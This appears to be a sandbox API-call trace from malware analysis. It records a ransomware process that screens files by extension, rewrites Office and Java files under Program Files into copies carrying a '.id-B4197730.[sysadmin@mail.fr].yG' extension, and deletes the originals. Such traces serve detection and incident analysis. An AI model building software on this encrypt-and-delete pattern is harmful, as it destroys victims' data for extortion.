	[0048.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0048.740] lstrlenW (lpString=".zip") returned 4
	[0048.740] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0048.740] lstrlenW (lpString=".rar") returned 4
	[0048.740] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0048.740] lstrlenW (lpString=".bz2") returned 4
	[0048.740] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0048.740] lstrlenW (lpString=".7z") returned 3
	[0048.740] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0048.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0048.740] lstrlenW (lpString=".dbf") returned 4
	[0048.740] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0048.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0048.740] lstrlenW (lpString=".1cd") returned 4
	[0048.740] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0048.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0048.740] lstrlenW (lpString=".jpg") returned 4
	[0048.740] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0048.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0048.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0048.740] lstrlenW (lpString=".doc") returned 4
	[0048.740] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0048.740] lstrlenW (lpString=".docx") returned 5
	[0048.740] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1
	[0048.741] lstrlenW (lpString=".pdf") returned 4
	[0048.741] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0048.741] lstrlenW (lpString=".xls") returned 4
	[0048.741] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0048.741] lstrlenW (lpString=".xlsx") returned 5
	[0048.741] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1
	[0048.741] lstrlenW (lpString=".ppt") returned 4
	[0048.741] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0048.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0048.741] lstrlenW (lpString=".zip") returned 4
	[0048.741] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0048.741] lstrlenW (lpString=".rar") returned 4
	[0048.741] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0048.741] lstrlenW (lpString=".bz2") returned 4
	[0048.741] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0048.741] lstrlenW (lpString=".7z") returned 3
	[0048.741] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0048.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0048.741] lstrlenW (lpString=".dbf") returned 4
	[0048.741] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0048.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0048.741] lstrlenW (lpString=".1cd") returned 4
	[0048.741] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0048.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0048.741] lstrlenW (lpString=".jpg") returned 4
	[0048.741] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0048.742] lstrcmpiW (lpString1=".VBS", lpString2=".yG") returned -1
	[0048.742] lstrlenW (lpString="OSPP.VBS") returned 8
	[0048.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0048.780] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=94467) returned 1
	[0048.780] CloseHandle (hObject=0x38c) returned 1
	[0048.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20
	[0048.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0048.781] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.781] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0048.781] GetLastError () returned 0x0
	[0048.781] ReadFile (in: hFile=0x38c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x17103, lpOverlapped=0x0) returned 1
	[0049.058] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x17110, lpOverlapped=0x0) returned 1
	[0049.060] ReadFile (in: hFile=0x38c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.060] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0049.060] SetEndOfFile (hFile=0x2fc) returned 1
	[0049.060] CloseHandle (hObject=0x2fc) returned 1
	[0049.062] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.062] SetEndOfFile (hFile=0x38c) returned 1
	[0049.063] CloseHandle (hObject=0x38c) returned 1
	[0049.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1
	[0049.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0049.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0049.064] lstrlenW (lpString=".doc") returned 4
	[0049.064] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1
	[0049.064] lstrlenW (lpString=".docx") returned 5
	[0049.064] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1
	[0049.064] lstrlenW (lpString=".pdf") returned 4
	[0049.064] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1
	[0049.064] lstrlenW (lpString=".xls") returned 4
	[0049.064] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1
	[0049.064] lstrlenW (lpString=".xlsx") returned 5
	[0049.064] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1
	[0049.064] lstrlenW (lpString=".ppt") returned 4
	[0049.064] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1
	[0049.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0049.064] lstrlenW (lpString=".zip") returned 4
	[0049.064] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1
	[0049.064] lstrlenW (lpString=".rar") returned 4
	[0049.064] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1
	[0049.064] lstrlenW (lpString=".bz2") returned 4
	[0049.064] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1
	[0049.064] lstrlenW (lpString=".7z") returned 3
	[0049.064] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1
	[0049.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0049.064] lstrlenW (lpString=".dbf") returned 4
	[0049.064] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1
	[0049.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0049.064] lstrlenW (lpString=".1cd") returned 4
	[0049.064] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1
	[0049.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0049.064] lstrlenW (lpString=".jpg") returned 4
	[0049.064] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1
	[0049.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0049.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0049.064] lstrlenW (lpString=".doc") returned 4
	[0049.064] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1
	[0049.065] lstrlenW (lpString=".docx") returned 5
	[0049.065] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1
	[0049.065] lstrlenW (lpString=".pdf") returned 4
	[0049.065] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1
	[0049.065] lstrlenW (lpString=".xls") returned 4
	[0049.065] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1
	[0049.065] lstrlenW (lpString=".xlsx") returned 5
	[0049.065] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1
	[0049.065] lstrlenW (lpString=".ppt") returned 4
	[0049.065] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1
	[0049.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0049.065] lstrlenW (lpString=".zip") returned 4
	[0049.065] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1
	[0049.065] lstrlenW (lpString=".rar") returned 4
	[0049.065] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1
	[0049.065] lstrlenW (lpString=".bz2") returned 4
	[0049.065] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1
	[0049.065] lstrlenW (lpString=".7z") returned 3
	[0049.065] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1
	[0049.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0049.065] lstrlenW (lpString=".dbf") returned 4
	[0049.065] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1
	[0049.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0049.065] lstrlenW (lpString=".1cd") returned 4
	[0049.065] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1
	[0049.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51
	[0049.065] lstrlenW (lpString=".jpg") returned 4
	[0049.065] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1
	[0049.065] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.065] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53
	[0049.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0049.066] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1533) returned 1
	[0049.066] CloseHandle (hObject=0x38c) returned 1
	[0049.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0049.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0049.066] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.066] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0049.066] GetLastError () returned 0x0
	[0049.066] ReadFile (in: hFile=0x38c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x5fd, lpOverlapped=0x0) returned 1
	[0049.133] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x600, lpOverlapped=0x0) returned 1
	[0049.133] ReadFile (in: hFile=0x38c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.133] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0049.134] SetEndOfFile (hFile=0x2fc) returned 1
	[0049.134] CloseHandle (hObject=0x2fc) returned 1
	[0049.134] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.134] SetEndOfFile (hFile=0x38c) returned 1
	[0049.135] CloseHandle (hObject=0x38c) returned 1
	[0049.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0049.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1
	[0049.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0049.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0049.136] lstrlenW (lpString=".doc") returned 4
	[0049.136] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.136] lstrlenW (lpString=".docx") returned 5
	[0049.136] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.136] lstrlenW (lpString=".pdf") returned 4
	[0049.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.136] lstrlenW (lpString=".xls") returned 4
	[0049.136] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.136] lstrlenW (lpString=".xlsx") returned 5
	[0049.136] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.136] lstrlenW (lpString=".ppt") returned 4
	[0049.136] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0049.136] lstrlenW (lpString=".zip") returned 4
	[0049.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.136] lstrlenW (lpString=".rar") returned 4
	[0049.137] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.137] lstrlenW (lpString=".bz2") returned 4
	[0049.137] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.137] lstrlenW (lpString=".7z") returned 3
	[0049.137] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0049.137] lstrlenW (lpString=".dbf") returned 4
	[0049.137] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0049.137] lstrlenW (lpString=".1cd") returned 4
	[0049.137] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0049.137] lstrlenW (lpString=".jpg") returned 4
	[0049.137] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0049.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0049.137] lstrlenW (lpString=".doc") returned 4
	[0049.137] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.137] lstrlenW (lpString=".docx") returned 5
	[0049.137] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.137] lstrlenW (lpString=".pdf") returned 4
	[0049.137] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.137] lstrlenW (lpString=".xls") returned 4
	[0049.137] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.137] lstrlenW (lpString=".xlsx") returned 5
	[0049.137] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.137] lstrlenW (lpString=".ppt") returned 4
	[0049.137] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0049.137] lstrlenW (lpString=".zip") returned 4
	[0049.137] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.137] lstrlenW (lpString=".rar") returned 4
	[0049.137] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.137] lstrlenW (lpString=".bz2") returned 4
	[0049.137] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.137] lstrlenW (lpString=".7z") returned 3
	[0049.137] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0049.138] lstrlenW (lpString=".dbf") returned 4
	[0049.138] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0049.138] lstrlenW (lpString=".1cd") returned 4
	[0049.138] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0049.138] lstrlenW (lpString=".jpg") returned 4
	[0049.138] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.138] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.138] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53
	[0049.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0049.138] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1261) returned 1
	[0049.138] CloseHandle (hObject=0x38c) returned 1
	[0049.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0049.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0049.138] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.139] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0049.139] GetLastError () returned 0x0
	[0049.139] ReadFile (in: hFile=0x38c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0049.368] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0049.369] ReadFile (in: hFile=0x38c, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.369] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0049.369] SetEndOfFile (hFile=0x2fc) returned 1
	[0049.370] CloseHandle (hObject=0x2fc) returned 1
	[0049.371] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.371] SetEndOfFile (hFile=0x38c) returned 1
	[0049.371] CloseHandle (hObject=0x38c) returned 1
	[0049.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0049.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1
	[0049.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0049.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0049.372] lstrlenW (lpString=".doc") returned 4
	[0049.372] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
